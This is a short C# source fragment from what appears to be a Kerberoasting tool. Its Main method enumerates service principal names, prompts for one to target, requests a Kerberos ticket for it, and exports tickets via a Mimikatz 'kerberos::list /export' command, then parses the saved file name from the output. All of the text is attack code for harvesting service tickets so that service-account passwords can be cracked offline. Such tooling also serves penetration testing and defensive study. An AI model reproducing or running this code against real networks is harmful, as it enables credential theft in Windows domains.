static void Main(string[] args) { bool mode = Menus.MenuMain(); List <string> SPNs = SPNSearch.GatherSPNs(mode); int SPNCount = Menus.DisplaySPNs(SPNs); int target = Menus.MenuSPNtoRoast(SPNCount); SPN spn = new SPN(SPNs[target - 1]); SPNRequest.RequestAuth(spn.fullSPN); TicketExport.ExportTickets(spn); Console.ReadKey(); }
private static string ParseMimiOutput(string result, SPN spn) { string output = "Not Found"; string[] lines = result.Split('\n'); foreach (string line in lines) { if (line.Contains("Saved") && line.Contains(spn.host) && line.Contains(spn.service)) { output = line; } } return(output.Trim()); }
public static void ExportTickets(SPN spn) { string result = Mimikatz.Command("\"kerberos::list /export\""); Console.WriteLine("\t[#] Saved to file: {0}", ParseMimiOutput(result, spn).Split(':')[1]); }